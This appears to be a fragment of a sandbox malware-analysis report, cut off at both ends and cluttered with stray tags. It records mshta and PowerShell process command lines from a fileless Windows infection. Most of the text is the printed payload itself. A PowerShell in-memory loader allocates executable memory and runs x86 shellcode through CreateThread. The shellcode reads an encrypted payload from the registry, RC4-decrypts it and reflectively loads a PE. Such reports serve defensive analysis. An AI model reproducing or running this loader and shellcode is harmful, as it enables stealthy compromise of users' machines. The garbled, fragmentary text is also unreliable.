0x63 0x75 <#pn#>0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 <#ou#>0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B <#egl#>0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 <#ix#>0x73 0x75 0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#ync#>0x83 0xC4 <#js#>0x08 0x66 0x8B <#noj#>0x00 0x8B 0x55 0xCC 0x8B <#se#>0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF <#hs#>0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF <#pn#>0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF <#wya#>0x64 <#pw#>0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 <#loy#>0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 <#pwv#>0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 <#btr#>0xDB 0x75 0x05 0x6A <#qfx#>0x00 0xFF 0x55 0xA4 0x89 <#mz#>0x5D 0xD4 <#nw#>0x8B 0x45 0xD4 <#aq#>0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F <#ve#>0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B <#use#>0x40 <#cgh#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#asn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF <#fhy#>0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B <#caf#>0x40 <#ont#>0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 <#nk#>0x04 0x83 <#dcb#>0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 0x41 0x75 0x3D 0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#vpz#>0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#nc#>0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xB0 0x81 <#yz#>0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D <#drl#>0x41 0x08 <#lkp#>0x81 0x38 0x56 <#prz#>0x61 0x6C 0x75 <#yt#>0x75 0x48 0x8D 0x41 0x0C 0x81 <#lvd#>0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 <#pwg#>0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C <#rt#>0x03 0xD3 0x0F 0xB7 0xC0 0xC1 <#dc#>0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF <#ozo#>0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 <#cvd#>0x00 0x89 <#pg#>0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF 0xFF 0x33 0xDB <#dm#>0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 <#rp#>0x60 0xFF 0xFF <#wo#>0xFF 0x8D 0x85 <#srs#>0x70 0xFF 0xFF <#ubh#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#mbl#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#sc#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 <#mch#>0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#xrd#>0xFF 0xFF 0x50 <#fh#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 <#xpe#>0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 <#jl#>0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 <#ko#>0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A <#ntb#>0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 <#bw#>0x68 <#st#>0x01 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 <#agd#>0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 <#cg#>0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 <#tl#>0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 <#fkf#>0x00 0x00 0x8B 0x85 <#lbz#>0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#iym#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#so#>0xFF 0x00 0x74 0x31 <#ouu#>0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#uz#>0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC <#bu#>0x85 0xC0 0x75 0x02 0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A <#xz#>0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 <#xcj#>0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF <#iy#>0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 <#do#>0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 <#jhq#>0xF7 0xF7 0x33 0xC0 0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D 0x00 0xFB <#ex#>0xFF 0xFF 0x89 0x11 0x25 0xFF <#ko#>0x00 0x00 0x00 0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#si#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 <#pgp#>0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#cg#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#nd#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF <#evv#>0x89 <#ijv#>0x85 0x4C 0xFF 0xFF <#rdm#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 <#mh#>0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C <#ce#>0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 <#cj#>0xFF 0xFF <#ea#>0xFF 0x48 0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF <#hsq#>0x33 0xF6 0x43 <#zn#>0x81 0xE3 <#szu#>0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 <#pyc#>0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B <#ktz#>0x94 0xBD 0x00 0xFB 0xFF <#vse#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 <#qis#>0x8B 0x94 <#ugf#>0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 <#cck#>0x04 0x32 <#ek#>0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F <#zzk#>0x85 0xDA 0x02 0x00 0x00 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 <#ut#>0x00 0x53 <#jc#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 0x7D 0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#wg#>0x54 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B <#wa#>0x40 0x50 0x03 0x45 0xF8 <#du#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B <#cqw#>0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 <#zrr#>0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 <#rz#>0x82 0xE0 0x00 <#wfq#>0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF <#ggv#>0xFF 0xFF 0x33 <#fpj#>0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B <#dov#>0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 0x03 0xD1 0x89 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF <#bl#>0x8B 0x52 0x10 0x52 0x8B 0x95 <#bhd#>0x50 0xFF <#udi#>0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 <#bw#>0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B <#xp#>0x45 0xD0 0x8B 0x40 0x34 0x3B 0x45 0xF8 0x0F <#yye#>0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 <#vp#>0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0xA0 0x00 0x00 0x00 0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 0xEC 0x8B <#hok#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 <#jwj#>0xE8 0x48 0x85 0xC0 0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C 0x8B 0xCA 0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B <#bi#>0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xC9 <#lyf#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B <#wc#>0x45 0xEC 0x83 0x38 0x00 0x77 <#if#>0x8A 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 <#lek#>0x50 0xFF 0x95 0x78 0xFF <#xfe#>0xFF 0xFF 0x8B 0x45 0xD0 0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 <#kcn#>0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB <#mg#>0x7F 0x03 0x7D 0xF8 0x57 0xFF 0x55 0xBC 0x8B <#bok#>0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 0xF8 0x89 0x45 0x88 0xEB 0x0C <#cpm#>0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 <#zfn#>0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#mzs#>0xEB <#euv#>0x37 0x8B <#ue#>0x45 0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF <#gza#>0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF <#bxv#>0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 <#ffa#>0x83 0x45 0x88 0x04 0x83 0x45 0x84 <#ym#>0x04 0x8B 0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 0x8C 0x8B 0x78 0x0C 0x85 0xFF 0x0F 0x85 0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 <#ub#>0x03 0x45 0xF8 0x89 0x45 <#gf#>0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 <#jox#>0x74 0x77 0x61 0x72 0x65 0x5C 0x6D 0x77 0x41 0x44 0x51 0x57 0x4B 0x49 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x36 0x39 0x34 0x63 0x56 0x77 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xC1 0xB6 0x94 0x5F 0x90 0x36 0xF4 0xA1 0x3D 0x1E 0x42 0xC1 0xED 0xD0 0x7C 0x15 0xA4 0xC0 0x8B 0x1D 0x9E 0x5F 0xC8 0xF1 0xD8 0x00 <#fpy#>0x59 0xBB 0xDB <#hei#>0x00 0x00 <#upk#>0x00 <#nzs#>0x00 0x00 <#ra#>0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E <#kj#>0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 <#htf#>0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x37 0x00 0x32 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#exg#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1D 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B <#ufw#>0x75 <#gy#>0x0C 0x8B 0x4D 0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x2A 0xB1 0x27 0xB7 0x1A 0xEA 0x4F 0x60 0x02 0xDB 0x04 0x6C 0x95 <#wtp#>0x25 0xB1 0x3F 0xD0 0x82 0xD9 0x51 0x6C 0x43 0x5C 0x42 0xC2 0xF9 0xC8 0x43 <#egt#>0x35 0x9A 0xF6 0x9B 0x56 0x8B 0x3E 0x7D 0x6E 0x5D 0x01 0x78 0x1C 0x27 0x7B 0x21 0x26 0xCF 0xF7 0xDA 0xC3 0xA5 0xE1 <#hec#>0xCD 0xEB 0x1D 0x53 0x71 0x77 0x9E 0x19 0x45 <#ef#>0x1B 0xA9 0x4D 0x89 0x8E 0xC8 0xFC 0x28 0x6A 0x06 0x7C 0x11<#qe#>; #ipxrpik $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #grzaui if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #tqsmkpdif for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #lxgkwlgvcz ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #znqnecu }sleep(1200);}catch{}exit; #dgzf #upsihgtncxhauyqyxwkzihqrje")46:T48ad,Spawned process "mshta.exe" with commandline "javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Sh ..." (UID: 00000000-00005936), Spawned process "powershell.exe" with commandline "iex $env:oczbexg" (UID: 00000000-00003404, Additional Context: "#fwwrdoqfefmdzqxquedyhgfigfakbutekc sleep(15);try{ #iqmfurgb function gdelegate{ #oafv Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #pjvnxievbk $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #aqir $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #umqwhtwer $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #jpyxlo return $TypeBuilder.CreateType();} #duepeeqx function gproc{ #zgasc Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #bturhlps $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ecaqdvwmi $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #nufemwglj return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #bqdzumsw [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 <#vq#>0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C <#ep#>0x20 0xC1 0xCF 0x0D 0x01 0xC7 <#os#>0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F 0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B <#yo#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 <#gzi#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#gyn#>0x24 0x04 0x83 0xC4 0x08 0x89 <#pw#>0x45 0xD0 0x8B 0x45 0xD0 <#cn#>0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#fc#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 <#mcl#>0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 <#dp#>0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#skb#>0x83 0xC4 0x08 0x03 <#er#>0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F 0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 <#ic#>0x72 0x79 0x41 0x75 0x40 <#om#>0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B <#ocj#>0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 